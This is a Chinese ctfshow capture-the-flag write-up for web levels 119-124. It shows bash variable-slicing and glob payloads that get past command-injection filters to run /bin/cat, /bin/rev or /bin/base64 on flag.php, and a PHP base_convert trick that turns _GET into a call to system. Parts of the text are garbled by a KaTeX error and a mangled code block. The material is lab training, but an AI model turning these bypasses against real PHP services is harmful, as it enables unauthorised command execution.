ctfshow web入门web119-124

1.web119

和118题类似,只不过是过滤了PATH

0可以用任何字符代替,比如 A , {A}, A,{0}
KaTeX parse error: Expected '}', got '#' at position 2: {#̲SHLVL}=1,或者{##},${#?}
{PHP_VERSION:~A}=2,php版本为x.x.2时
${#IFS}=3(linux下是3,mac里是4)
${#HOME}为5
${#RANDOM}一般是5,也可能是4

SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,而 BASH_SUBSHELL 是记录一个 Bash 进程实例中多个子 Shell(subshell)嵌套深度的累加器
ctfshow web入门web119-124_第1张图片

pwd:/tmp
echo ${PWD:0:1} #表示从0下标开始的第一个字符(从右往左开始取)
echo ${PWD:~0:1} #从结尾开始往前的第一个字符(从右往左开始取)
echo ${PWD:~0:2} #也只是取一个字符,因为是从右往左开始取的
echo ${PWD:~3:3} <=>echo ${PWD:0:3}
echo ${PWD:~0}
echo ${PWD:~A} #所以字母和0具有同样作用

ctfshow web入门web119-124_第2张图片pwd:/var/www/html
user:www-data
home:/www-data
在这里插入图片描述
payload:

${#HOSTNAME}=7,${HOSTNAME}=ctfshow
${HOME:${#HOSTNAME}:${#SHLVL}}     =>   t
${PWD:${Z}:${#SHLVL}}   或${PWD:${#}:${#SHLVL}} =>   /   
/bin/cat flag.php
构造的是/???/??t ????.???  =>/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
还可构造/???/?at ????.??? =>/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
还可构造/???/?a? ????.???
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

2.web120

ctfshow web入门web119-124_第3张图片
这题把home过滤掉了,还限制了长度

payload:

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
右键查看源代码即可得到flag

ctfshow web入门web119-124_第4张图片

3.web121

ctfshow web入门web119-124_第5张图片
又过滤了~,SHLVL,还是限制了长度
在用/???/?a? ???.???发现构造不出来
/bin/rev即rev将文件内容读取并进行反转,就倒着输出文件内容
paylaod:

${#?}或${##}=1
${IFS}=3
/???/r?? ????.???
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
linux执行下条命令,反转为原来的
echo 'php?< ;"}be80abe44d20-c48b-e194-7c20-38ad93c1{wohsftc"=galf$ >?'|rev

4.web122

ctfshow web入门web119-124_第6张图片
又把#过滤了
通过 ? 来实现的, ?来实现的, ?来实现的,?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误,执行错误时可能为1,${RANDOM::1}可能为4,也可能为其他值
ctfshow web入门web119-124_第7张图片

为了能够让$?可以输出1,那么就需要让前一条命令是错误的,这个错误命令的返回值是1,可以用 在这里插入图片描述
payload:

/???/?????4 ????.???=>/bin/base64

5.web124

ctfshow web入门web119-124_第8张图片
过滤了一些符号,并且使用的字母必须是数学函数的白名单里的字母,控制了长度不能大于80,可以通过$_GET[]传参来绕过过滤,[]可以用{}代替
base_convert #在任意进制之间转换数字。
hexdec #把十六进制转换为十进制。
dechex #把十进制转换为十六进制。
hex2bin #把十六进制的字符串转换为ASCII码
没有hex2bin需要使用base_convert构造出来

';
//把_GET转为16进制,在转为10进制
//直接16进制不行,因为会有字母
echo hexdec(bin2hex('_GET'));
echo '
'; //下方是使用base_concvert对_GET转为10进制 //但是输出后发现是get,而不是_GET //echo base_convert(21269,10,36); echo '
'; //把hex2bin的十进制进行输出查看是不是一致 echo base_convert(37907361743,10,36) ?> 10进制数表示 _GET:37907361743 hex2bin :1598506324 hex2bin(dechex(37907361743))>base_convert(1598506324,10,36)(dechex(37907361743)) $$pi{abs}($$pi{acos})&abs=>$_GET['abs']($_GET['aos'])

payload:

$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat flag.php

参考文章:
SHLVL
ctfshow命令执行web118-124
ctfshow 命令执行web118-124
web124

你可能感兴趣的:(ctfshow通关,php,bash,开发语言,网络安全)